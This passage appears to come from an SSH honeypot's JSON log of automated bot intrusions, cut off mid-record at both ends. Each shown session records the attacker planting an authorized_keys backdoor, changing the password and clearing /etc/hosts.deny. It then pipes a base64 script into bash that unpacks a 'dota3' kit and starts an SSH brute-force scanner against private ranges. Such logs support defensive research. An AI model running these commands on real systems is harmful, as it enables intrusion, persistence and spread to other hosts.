Model"},{"seq":31,"at":"2026-08-20T12:49:17.321112+00:00","kind":"output","latency_ms":990,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:49:18.010345+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:49:18.771406+00:00","kind":"output","latency_ms":760,"data":"24G"},{"seq":34,"at":"2026-08-20T12:49:20.868564+00:00","kind":"input","latency_ms":null,"data":"echo \"root p@55wOrd\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:49:21.553887+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:49:22.211659+00:00","kind":"output","latency_ms":657,"data":""},{"seq":37,"at":"2026-08-20T12:49:23.998189+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:49:27.462892+00:00","kind":"output","latency_ms":3463,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:49:28.150890+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:49:28.928511+00:00","kind":"output","latency_ms":775,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:49:29.614068+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:49:30.973764+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:49:31.677222+00:00","kind":"output","latency_ms":702,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:49:32.360375+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:49:32.987767+00:00","kind":"output","latency_ms":626,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:49:33.672417+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:49:42.508081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T12:49:42.508643+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"p@55wOrd","method":"password","accepted":true,"tier":"other"}]} {"id":"16ce8ab6-9ac3-48a6-8acf-2f1f38563712","name":"meadow-northern-bison","protocol":"ssh","channel_kind":"exec","src_ip":"81.193.216.17","src_port":56682,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":408,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:49:19.537181+00:00","ended_at":"2026-08-20T12:49:19.664175+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3907,"events":[{"seq":1,"at":"2026-08-20T12:48:43.457372+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:48:43.862202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:48:48.188697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:48:49.039799+00:00","kind":"output","latency_ms":850,"data":"1"},{"seq":5,"at":"2026-08-20T12:48:49.448138+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YoO7YHvKLyMT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:48:49.856410+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:48:49.883402+00:00","kind":"output","latency_ms":434,"data":""},{"seq":8,"at":"2026-08-20T12:48:50.261518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:48:50.828910+00:00","kind":"output","latency_ms":565,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:48:51.235723+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:48:52.285245+00:00","kind":"output","latency_ms":1046,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:48:52.693590+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:48:53.308345+00:00","kind":"output","latency_ms":613,"data":"-rwxr-xr-x 1 root root 141K Aug 20 03:01 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:48:53.715634+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:48:54.973647+00:00","kind":"output","latency_ms":1256,"data":"# m h dom mon dow command\n17 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1\n*/15 * * * * /opt/stable/bin/hoofcheck.sh >> /var/log/hoofcheck.log 2>&1\n0 2 * * * /opt/stable/bin/gallop-backup.sh >> /var/log/gallop-backup.log 2>&1\n5 * * * * /opt/stable/bin/canter-deploy.sh >> /var/log/canter-deploy.log 2>&1"},{"seq":16,"at":"2026-08-20T12:48:55.379837+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:48:56.743494+00:00","kind":"output","latency_ms":1361,"data":" 04:49:53 up 9:39, 1 user, load average: 0.00, 0.01, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 04:48 1.00s 0.01s 0.00s w"},{"seq":18,"at":"2026-08-20T12:48:57.149753+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:48:57.150549+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:48:57.558346+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:48:58.715772+00:00","kind":"output","latency_ms":1157,"data":"64"},{"seq":22,"at":"2026-08-20T12:48:59.123718+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:48:59.124157+00:00","kind":"output","latency_ms":null,"data":"top - 12:48:59 up 9:39, 0 user, load average: 0.25, 0.18, 0.25\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 506 free, 449 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:48:59.530715+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:48:59.531297+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:48:59.938593+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:48:59.939046+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:49:00.352143+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:49:00.353019+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:49:00.755828+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:49:01.328835+00:00","kind":"output","latency_ms":572,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:49:01.735772+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:49:02.527740+00:00","kind":"output","latency_ms":790,"data":"24G"},{"seq":34,"at":"2026-08-20T12:49:04.337960+00:00","kind":"input","latency_ms":null,"data":"echo \"root Admin12345@\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:49:04.744009+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:49:05.299941+00:00","kind":"output","latency_ms":554,"data":""},{"seq":37,"at":"2026-08-20T12:49:06.142646+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:49:06.869941+00:00","kind":"output","latency_ms":726,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:49:07.275858+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:49:08.182234+00:00","kind":"output","latency_ms":905,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:49:08.589009+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:49:08.995427+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:49:09.620746+00:00","kind":"output","latency_ms":623,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:49:10.037925+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:49:10.709176+00:00","kind":"output","latency_ms":669,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:49:11.124193+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:49:11.617345+00:00","kind":"output","latency_ms":490,"data":""},{"seq":48,"at":"2026-08-20T12:49:19.538050+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:49:19.538504+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Admin12345@","method":"password","accepted":true,"tier":"other"}]} {"id":"d8b8ffbe-8acf-4f65-911c-25a77eb5612f","name":"ashen-cunning-gadwall","protocol":"ssh","channel_kind":"exec","src_ip":"194.156.249.154","src_port":57262,"username":"socks","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":385,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:37:01.791163+00:00","ended_at":"2026-08-20T12:37:01.903396+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3649,"events":[{"seq":1,"at":"2026-08-20T12:36:28.389118+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:36:28.773301+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:36:29.057130+00:00","kind":"output","latency_ms":666,"data":""},{"seq":4,"at":"2026-08-20T12:36:33.081950+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-20T12:36:33.562678+00:00","kind":"output","latency_ms":480,"data":"2"},{"seq":6,"at":"2026-08-20T12:36:33.947720+00:00","kind":"input","latency_ms":null,"data":"echo -e \"socks123\\nwySEqUZ1QdMF\\nwySEqUZ1QdMF\"|passwd|bash"},{"seq":7,"at":"2026-08-20T12:36:34.331195+00:00","kind":"input","latency_ms":null,"data":"echo \"socks123\\nwySEqUZ1QdMF\\nwySEqUZ1QdMF\\n\"|passwd"},{"seq":8,"at":"2026-08-20T12:36:34.716130+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:36:35.314703+00:00","kind":"output","latency_ms":597,"data":"AMD EPYC 7713 64-Core Processor\n"},{"seq":10,"at":"2026-08-20T12:36:35.710326+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:36:36.428183+00:00","kind":"output","latency_ms":726,"data":"956 0 935 0 0 0"},{"seq":12,"at":"2026-08-20T12:36:36.815575+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:36:37.556770+00:00","kind":"output","latency_ms":741,"data":"-rwxr-xr-x 1 root root 151K Jan 1 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:36:37.941166+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:36:38.773693+00:00","kind":"output","latency_ms":831,"data":"0 1 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:36:39.158946+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:36:40.518915+00:00","kind":"output","latency_ms":1358,"data":" 08:36:42 up 9:26, 1 user, load average: 0.03, 0.05, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nsocks pts/0 203.0.113.1 08:35 0.00s 0.02s 0.00s w"},{"seq":18,"at":"2026-08-20T12:36:40.902580+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:36:40.903183+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:36:41.285319+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:36:41.786029+00:00","kind":"output","latency_ms":499,"data":"1"},{"seq":22,"at":"2026-08-20T12:36:42.170653+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:36:42.171128+00:00","kind":"output","latency_ms":null,"data":"top - 12:36:42 up 9:26, 0 user, load average: 0.21, 0.19, 0.14\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 535 free, 420 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:36:42.555498+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:36:42.556017+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:36:42.942431+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:36:42.943013+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:36:43.328174+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:36:43.328690+00:00","kind":"output","latency_ms":null,"data":"socks"},{"seq":30,"at":"2026-08-20T12:36:43.713110+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:36:44.387110+00:00","kind":"output","latency_ms":674,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:36:44.772698+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:36:45.471851+00:00","kind":"output","latency_ms":698,"data":"24.0G"},{"seq":34,"at":"2026-08-20T12:36:46.856051+00:00","kind":"input","latency_ms":null,"data":"echo \"socks socks123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:36:47.239852+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:36:48.580254+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T12:36:48.657137+00:00","kind":"output","latency_ms":1416,"data":""},{"seq":38,"at":"2026-08-20T12:36:49.181474+00:00","kind":"output","latency_ms":601,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:36:49.566548+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:36:50.461161+00:00","kind":"output","latency_ms":892,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:36:50.844805+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:36:51.228815+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:36:52.129656+00:00","kind":"output","latency_ms":900,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:36:52.515525+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:36:53.061505+00:00","kind":"output","latency_ms":545,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:36:53.450395+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:36:54.009082+00:00","kind":"output","latency_ms":561,"data":""},{"seq":48,"at":"2026-08-20T12:37:01.793159+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:37:01.793944+00:00","kind":"output","latency_ms":null,"data":"socks"}],"credentials":[{"username":"socks","password":"socks123","method":"password","accepted":true,"tier":"other"}]} {"id":"480ec80d-66e2-4856-97dd-06174b2da80f","name":"leafy-freckled-hare","protocol":"ssh","channel_kind":"exec","src_ip":"51.12.221.15","src_port":34716,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:08:41.365257+00:00","ended_at":"2026-08-20T12:08:41.455427+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3731,"events":[{"seq":1,"at":"2026-08-20T12:08:11.011734+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:08:11.329926+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:08:14.418104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:08:15.036937+00:00","kind":"output","latency_ms":619,"data":"1"},{"seq":5,"at":"2026-08-20T12:08:15.359565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:rffgjvI8OdYC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:08:15.675146+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:08:15.830865+00:00","kind":"output","latency_ms":473,"data":""},{"seq":8,"at":"2026-08-20T12:08:15.992904+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:08:16.621243+00:00","kind":"output","latency_ms":628,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:08:16.940169+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:08:17.517016+00:00","kind":"output","latency_ms":576,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:08:17.836628+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:08:18.571448+00:00","kind":"output","latency_ms":733,"data":"-rwxr-xr-x 1 root root 140K Jan 24 2025 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:08:18.890050+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:08:19.909020+00:00","kind":"output","latency_ms":1018,"data":"0 2 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/15 * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n@reboot /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:08:20.228445+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:08:21.545759+00:00","kind":"output","latency_ms":1313,"data":" 08:58:12 up 8:58, 1 user, load average: 0.02, 0.03, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 08:57 0.00s 0.03s 0.00s w"},{"seq":18,"at":"2026-08-20T12:08:21.865294+00:00","kind":"input","latency_ms":null,"data":"uname 